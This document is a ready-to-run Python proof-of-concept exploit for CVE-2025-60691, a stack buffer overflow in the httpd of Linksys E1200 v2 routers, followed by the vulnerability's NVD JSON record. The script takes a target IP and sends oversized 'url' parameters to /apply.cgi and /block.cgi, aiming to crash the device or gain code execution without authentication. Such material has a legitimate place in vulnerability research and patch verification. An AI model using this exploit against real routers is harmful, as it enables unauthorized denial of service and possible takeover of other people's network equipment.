CVE-2025-60691

import requests # CVE-2025-60691 PoC - Linksys E1200 v2 Stack Buffer Overflow # Target: Linksys E1200 v2 router with firmware E1200_v2.0.11.001_us.tar.gz def exploit_cve_2025_60691(target_ip, port=80): """ Exploit for CVE-2025-60691: Stack-based buffer overflow in httpd Affected: Linksys E1200 v2 routers Attack Vector: Crafted HTTP request with oversized 'url' parameter """ # Generate payload - oversized string to trigger buffer overflow # The buffer is declared as single-byte variable, any non-empty input overflows payload_size = 1024 # Payload size to overflow the stack buffer overflow_payload = 'A' * payload_size # Target URLs that trigger vulnerable functions targets = [ f'/apply.cgi?url={overflow_payload}', f'/block.cgi?url={overflow_payload}' ] for target_url in targets: try: url = f'http://{target_ip}:{port}{target_url}' print(f'[*] Sending exploit payload to: {url}') # Send crafted HTTP request response = requests.get(url, timeout=10) print(f'[+] Request sent, status code: {response.status_code}') print('[*] Buffer overflow triggered - check device for DoS or code execution') except requests.exceptions.Timeout: print('[-] Request timed out - device may be unresponsive (DoS successful)') except requests.exceptions.ConnectionError: print('[-] Connection failed - device may be down') except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-60691.py <target_ip>') sys.exit(1) target_ip = sys.argv[1] exploit_cve_2025_60691(target_ip)

{"cve": {"id": "CVE-2025-60691", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.117", "lastModified": "2025-11-17T19:55:22.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the httpd binary of Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The apply_cgi and block_cgi functions copy user-supplied input from the \"url\" CGI parameter into stack buffers (v36, v29) using sprintf without bounds checking. Because these buffers are allocated as single-byte variables, any non-empty input will trigger a buffer overflow. Remote attackers can exploit this vulnerability via crafted HTTP requests to execute arbitrary code or cause denial of service without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60691.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}